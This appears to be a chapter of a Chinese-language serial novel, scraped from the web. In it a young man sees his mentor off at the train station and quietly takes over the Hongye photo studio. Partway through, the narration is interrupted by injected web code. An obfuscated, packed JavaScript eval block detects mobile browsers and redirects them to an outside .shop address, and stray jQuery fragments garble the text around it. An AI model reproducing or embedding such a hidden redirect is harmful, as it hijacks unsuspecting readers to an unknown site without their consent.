七月十日清早五点二十，梁潮生是被梁潮平砸门砸醒的。
“哥！哥！你再不起，韩叔坐火车都到下一站了！”
梁潮生猛地坐起来，脑子空了两秒，才想起今天是什么日子。昨晚他说只眯一会儿，结果这一眯，差点把人送没了。他抓过椅背上的衬衫套上，边扣边往外走，扣到一半才发现错了一颗。宋玉兰已经在灶台边装鸡蛋，看他头发乱成一团，伸手给他压了两下：“脸洗没有？”
“火车又不看我脸。”
“你送人，弄得跟逃荒似的。”
梁振山坐在桌边喝粥，头也没抬：“六点四十的车，你现在五点二十三。”
梁潮生停下：“爸，你怎么知道？”
“你妈昨晚念了八遍，我不想知道也知道了。”
宋玉兰把两个煮鸡蛋塞进他书包：“给韩师傅路上吃。”
“他自己肯定带了。”
“他带是他的，我给是我的。”
梁潮生没再争，骑车出了门。刚到院门口，他又猛地刹住，折回自己房间，从抽屉最里面摸出一只透明磁带盒。梁潮平正站在楼道里穿鞋，一眼看见了：“你拿啥？”
“没啥。”
“我都看见磁带了。”
“看见还问。”
梁潮生跨上车，车铃一响，人已经出了巷子。
清晨的旧巷还没完全醒。早点摊刚支起来，蒸笼白气顺着街边往上冒，卖豆腐脑的老周蹲在门口点煤炉，看见他骑过去，隔着马路喊：“这么早干吗去？”
“送人。”
“谁啊？”
“再问火车跑了！”
他一路蹬到红叶。卷帘门还关着，橱窗里黑漆漆的，梁潮生心里刚沉了一下，旁边巷子里便有人叫他。
“这里。”
韩师傅坐在藤箱上，脚边一个帆布包、一只旧热水壶，还有个用麻绳扎好的纸箱。箱子上写了个歪歪扭扭的“省”字。他嘴里叼着根没点着的烟，看见梁潮生，先瞧了眼手表。
“送个人也能迟到。”
梁潮生看了看时间，五点四十七。
“您不是还没走？”
“我要真走了，你准备追火车？”
“也不是不行。”
“就你那破自行车？”
梁潮生把车靠好，低头看了看藤箱：“东西就这些？”
“要不把红叶也背走？”
“相机呢？”
“省城没照相馆？”
“那倒也是。”
韩师傅瞥他：“一大早跑来，就为了盘我行李？”
梁潮生笑了笑，没说话。
没多久，周念安也到了。周念秋骑车送她过来，车篮里塞着一包桃酥和两瓶汽水。到了门口，她连车都没下，把桃酥往韩师傅怀里一扔。
“我不去车站了，今天还上班。”
韩师傅接住：“你哪天准时上过班？”
“人都要走了，还说这种伤感情的话。”
“这算送别礼？”
“算投资。省城有什么新式样的照相服装、画报，记得给我弄点回来。”
韩师傅掂了掂桃酥：“我就知道你这东西不白送。”
周念秋笑着摆摆手，骑车走了。
周念安今天扎着条最普通的蓝头绳，一过来先问韩师傅车票放哪儿，钱有没有分开装，女儿家地址记没记牢，下车有没有人接。韩师傅听到第三句就开始烦：“我去省城，不是你送五岁孩子上幼儿园。”
梁潮生站旁边笑。
周念安看他：“你笑什么？”
“没什么，就是觉得你俩挺像。”
“哪里像？”
“都爱管人。”
韩师傅懒得搭理他，拎起藤箱：“走了。再说下去，火车真让你俩管没了。”
三个人骑车往车站去。梁潮生后座绑着纸箱，韩师傅骑那辆用了很多年的凤凰牌，周念安跟在后面。经过红叶时，韩师傅没停，只偏头看了一眼。梁潮生也跟着回头。
门上的暂停营业告示被夜风吹卷了一角，拍着门板，啪、啪地响。
招牌还挂着。
他收回视线，脚下又快了一点。
火车站比想象中挤。扛麻袋的、拎网兜的、送人的、接人的堵在候车厅门口，广播里的女声被盖掉一半，只偶尔能听见车次和“请旅客注意”。
韩师傅买的是六点四十分硬座，离检票还有二十来分钟。他嫌候车厅闷，三个人就在外面的水泥台阶上坐着。宋玉兰塞的鸡蛋终于派上用场，韩师傅剥开一个，咬了一口。
“你妈煮的？”
“嗯。”
“火候比你修机器稳。”
梁潮生抬眼：“您都要走了，能不能少损我一句？”
“不能。”
周念安把汽水递过去：“到了写信。”
“知道。”
“红叶以后如果补手续——”
韩师傅皱眉：“你今天能不能别说账？”
周念安认真想了想：“那说什么？”
韩师傅看着她，忽然笑了：“你这丫头，去年第一次进红叶的时候，可不是这样。”
梁潮生立刻接话：“以前更凶？”
“我说你了吗？”
“行，您继续。”
韩师傅没继续，只低头把鸡蛋吃完，蛋壳包进手绢里。很多话真到了要走的时候，反而没什么可说。
广播开始催检票。
韩师傅提起藤箱，梁潮生伸手要接，被他躲开：“我还没老到箱子都提不动。”
梁潮生只好扛着纸箱，把人一路送到铁栏杆前。后面旅客不断往前挤，韩师傅把车票递给检票员，又回过头。
“暗房药水别混，相纸别省过头，该废就废。镜头别拿袖口擦。”
梁潮生本来想反驳最后一条，和他对视两秒，改口：“以后不擦。”
“账自己记，不会就问。”
“问谁？”
韩师傅往周念安那边一抬下巴：“问她。”
梁潮生乐了：“您这不是临走还给我安排人？”
“我安排得动你？”
韩师傅又看向周念安：“真考上了就去，别老惦记店。”
“成绩还没出。”
“出了再说。”
后面又有人催，韩师傅不得不往里走。走了两步，他忽然回过头：“红叶钥匙带着吧？”
梁潮生摸了摸裤兜。
“带着。”
“那就行。”
就这一句。
没说“好好干”，也没说“以后交给你了”。
韩师傅进了人群，很快就看不见了。梁潮生站在栏杆外发了会儿愣，忽然低头翻书包。
“完了。”
周念安问：“怎么？”
“鸡蛋还带了盐，忘给他了。”
她看着他掌心那小包盐，没忍住笑。
梁潮生瞪她：“这有什么好笑？”
“没什么。”
站台那头忽然响起一声长长的汽笛。
绿色车厢慢慢动起来。有人隔着窗户挥手，有人跟着车跑了几步，又停下。韩师傅坐在哪一节，他们根本不知道，也自然看不见他。
梁潮生站了片刻，先转过身。
“走吧。”
回旧巷的路上，两个人都没怎么说话。骑到早点摊，梁潮生忽然停车，要了两碗豆腐脑。
周念安问：“你不是还有个鸡蛋？”
“本来给韩叔的。”
“还有一个。”
“那个给你。”
“我吃过早饭了。”
“那我吃。”
两人坐到路边的小桌旁。老板端豆腐脑过来，随口问：“韩师傅真走了？”
梁潮生点头。
“那红叶以后谁开？”
“我。”
老板“哦”了一声，转身去招呼别桌，好像这事跟谁接过一把扳手差不多。没过一分钟，隔壁修车摊老高又探头喊：“潮生，红叶什么时候开？我媳妇说要拍结婚十周年。”
梁潮生嘴里还有东西：“过两天。”
“先记一个。”
“行。”
“便宜点。”
“想得美。”
老高骂了一句，又缩回去了。
梁潮生握着勺子，忽然笑了笑。
周念安看他：“怎么？”
“没什么。”他低头喝了口豆腐脑，“就是觉得，原来这么着，店就算接过来了。”
他原本总觉得，韩师傅一走，怎么也该有点动静。哪怕不放鞭炮，也该郑重其事说两句什么。结果火车照样开，早点摊照样卖豆腐脑，邻居见他第一句还是问什么时候能照相。
红叶没因为少一个人就塌下来。
吃完早饭，两人回到店里。
梁潮生把暂停营业的告示揭下来，却没急着挂营业牌，先一块块卸门板。第二块门板有点发潮，卡在槽里，他用肩膀顶了两下没出来，周念安过来搭手。两个人一左一右，把门板抬进屋。
店里关了一夜，药水味和旧木头味混在一起。韩师傅平时放茶缸的位置空着，柜台上只剩一个浅浅的圆印。
梁潮生看了一眼：“他茶缸也带走了。”
周念安推开窗：“你缺茶缸？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801426|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“不缺。”
“那看什么？”
“就是看看。”
门口铜铃就在这时响了。
一个三十多岁的女人牵着个小姑娘站在外面，有些迟疑地往里探头：“韩师傅在吗？”
梁潮生顿了顿：“去省城了。”
“那……证件照还能拍吗？孩子幼儿园报名，急着要。”
小姑娘躲在母亲腿后面，头上扎着两个红头花，手里还死死攥着半根快化完的冰棍。
梁潮生看向周念安。
周念安已经把登记本拿了出来。
他回过头：“能拍。”
没有谁宣布红叶重新开门。
第一个客人就这么进来了。
小姑娘坐到凳子上，两条腿够不着地，一晃一晃，冰棍却怎么都不肯放。梁潮生哄了两句没用，她母亲急了：“快给叔叔。”
梁潮生脸当场黑了：“叫哥哥。”
小姑娘认真看他两秒。
“叔叔。”
周念安背过身，肩膀明显动了一下。
梁潮生调着相机：“你想笑就笑。”
她真笑了。
最后照片拍了两版。冰棍由母亲站在镜头外帮忙举着，小姑娘拍完第一件事就是伸手要回去。客人离开后，梁潮生第一次一个人进暗房。
门关之前，周念安还提醒了一句：“药水别混。”
梁潮生站在门里瞪她：“你也来？”
“提醒一下。”
“听见了。”
暗房门合上，红灯亮起来。
周念安坐在外面等，听着里面水声和夹子碰撞的轻响，没有进去帮忙。
二十多分钟后，梁潮生夹着试片出来：“没糊。”
“我看看。”
“先夸。”
“先看。”
周念安把照片对着光检查一遍，才说：“可以。”
“就可以？”
“第一单别得意。”
“行，周厂长要求高。”
女人下午来取照片，交了余款。梁潮生把钱放进铁盒，翻开新账本，在七月十日下面写第一笔收入。日期、项目、金额、材料，一样样填下去。写到经手人时，他下意识在旁边留了一格。
周念安看见：“今天不用我复核。”
“你人在。”
“我只是过来看看。”
“来都来了。”
这理由毫无道理。周念安看了他一眼，最后还是拿过笔，在复核栏签了自己的名字。
梁潮生看了两秒，才合上账本。
过了一会儿，他从书包里摸出清早那只透明磁带盒，放到柜台上。
周念安这才想起来：“你本来想给韩叔？”
“嗯。”
“里面录了什么？”
“还没录。”
“你送人一盘空白带？”
梁潮生弹了弹盒角：“想让他到了省城，录点那边的动静寄回来。结果忘了。”
周念安把磁带拿起来，标签也是空白的。
“现在呢？”
“留着吧。”
“留给谁？”
梁潮生低头去理相机带：“以后再说。”
周念安没有追问，把磁带放进了存录音的抽屉最里面。这一次没上锁。
下午两点，红叶门口重新挂起“营业中”的木牌。
梁潮平抱着饭盒过来，进门先转了一圈，确定韩师傅真走了，才问：“他走之前没给我留什么？”
梁潮生指了指墙角：“扫把。”
梁潮平脸顿时垮了：“我就知道。”
嘴上抱怨，最后还是拿起来扫门口的泥。
梁潮生站在门外，看着那块营业牌。周念安从柜台后出来，看了一眼：“歪了。”
“哪儿歪？”
“右边低。”
“就这样。”
“我看着难受。”
她伸手把牌子扶正，退后半步确认了一下。梁潮生靠在门框上，忽然问：“你什么时候走？”
周念安动作顿了顿：“成绩还没出。”
“我是说，要是真考上省城。”
“八月底吧。”
“哦。”
周念安回头：“怎么了？”
“没怎么，提前问问。”
他说得随便，她也没拆穿。
红叶外头已经有人推着自行车过来问婚礼照，隔壁又有人喊梁潮生，说家里收音机晚上让他去看看。没一会儿，店里重新有了说话声。
那盘没送出去的空白磁带，还躺在抽屉最里面。
谁都没再提。